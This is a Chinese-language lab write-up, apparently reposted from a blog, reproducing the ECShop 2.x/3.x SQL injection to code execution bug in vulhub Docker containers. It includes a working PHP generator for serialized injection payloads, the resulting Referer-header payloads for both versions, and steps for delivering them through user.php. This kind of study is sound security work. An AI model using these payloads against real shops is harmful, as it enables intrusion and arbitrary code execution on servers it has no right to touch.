漏洞原理
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
其2017年及以前的版本中,存在一处SQL注入漏洞 ,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞。
ECShop 2.x
ECShop 3.x
复现过程
这里使用2.7.3与3.6.0版本
使用vulhub
/root/vulhub/ecshop/xianzhi-2017-02-82239600
自动搭建漏洞平台
docker-compose up -d
环境启动后,访问http://your-ip:8080将看到2.7.3的安装页面,访问http://your-ip:8081将看到3.6.0的安装页面。
依次安装二者,mysql地址填写mysql,mysql账户与密码均为root,数据库名随意填写,但2.7.3与3.6.0的数据库名不能相同。如图:
POC如下,将其放在phpstudy或者其他web站点下,访问即可得到2.x和3.x的POC,POC主要用于替换referer字段的
<?php $shell = bin2hex("{\$asd‘];phpinfo\t();//}xxx"); $id = "-1‘ UNION/*"; $arr = [ "num" => sprintf(‘*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -‘, bin2hex($id), $shell), "id" => $id ]; $s = serialize($arr); $hash3 = ‘45ea207d7a2b68c49582d2d22adf953a‘; $hash2 = ‘554fcae493e564ee0dc75bdf2ebf94ca‘; echo "POC for ECShop 2.x: \n"; echo "{$hash2}ads|{$s}{$hash2}"; echo "\n\nPOC for ECShop 3.x: \n"; echo "{$hash3}ads|{$s}{$hash3}";
POC for ECShop 2.x: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:“num”;s:107:"/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:“id”;s:11:"-1’ UNION/";}554fcae493e564ee0dc75bdf2ebf94ca
POC for ECShop 3.x: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:“num”;s:107:"/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:“id”;s:11:"-1’ UNION/";}45ea207d7a2b68c49582d2d22adf953a
2.x进入http://your-ip:8080/user.php,登陆界面,然后抓包,并替换referer,直接在右侧即可看到phpinfo
3.x进入http://your-ip:8081/user.php,登陆界面,然后抓包,并替换referer,直接在右侧即可看到phpinfo
ECShop 2.x/3.x SQL注入/任意代码执行漏洞复现
原文:https://www.cnblogs.com/wangani/p/14835941.html